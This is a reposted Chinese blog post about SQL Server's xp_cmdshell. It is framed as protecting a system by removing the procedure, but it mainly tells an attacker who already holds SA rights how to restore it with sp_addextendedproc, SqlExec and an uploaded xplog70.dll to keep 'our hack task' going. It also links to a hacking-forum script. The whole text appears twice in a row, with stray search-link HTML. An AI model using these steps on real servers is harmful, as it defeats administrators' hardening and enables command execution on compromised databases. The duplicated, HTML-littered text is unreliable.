第一部分:
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.判定xp_cmdshell扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回1就是存在了!
2.去掉xp_cmdshell扩展过程的方法是使用如下语句
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
3.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version
首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
或者对Sql2000情况下使用
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
另外使用SqlExec Sunx Version来去除xp_cmdshell的方法,和加的时候选择条件一样,然后输入
sp_dropextendedproc 'xp_cmdshell'
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
提示<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=& word=数据库 target="_blank"><font color=red>数据库</font></a></b>中已存在名为'xp_cmdshell'的对象
那么我们如何恢复呢?
其实按照高手lcx提供的方法,我们可以通过使用查询分析器中写脚本来实现。
具体脚本源代码:<a href=" [url]http://forum.hackway.net/index.php?showtopic=7335[/url]" target=_blank> [url]http://forum.hackway.net/index.php?showtopic=7335</a>[/url]
另外,可以通过上传xplog70.dll,再执行命令添加xp_cmdshell存储过程。
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.判定xp_cmdshell扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回1就是存在了!
2.去掉xp_cmdshell扩展过程的方法是使用如下语句
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
3.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version
首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
或者对Sql2000情况下使用
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
另外使用SqlExec Sunx Version来去除xp_cmdshell的方法,和加的时候选择条件一样,然后输入
sp_dropextendedproc 'xp_cmdshell'
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
提示<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=& word=数据库 target="_blank"><font color=red>数据库</font></a></b>中已存在名为'xp_cmdshell'的对象
那么我们如何恢复呢?
其实按照高手lcx提供的方法,我们可以通过使用查询分析器中写脚本来实现。
具体脚本源代码:<a href=" [url]http://forum.hackway.net/index.php?showtopic=7335[/url]" target=_blank> [url]http://forum.hackway.net/index.php?showtopic=7335</a>[/url]
另外,可以通过上传xplog70.dll,再执行命令添加xp_cmdshell存储过程。
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
转载于:https://blog.51cto.com/liancao/86042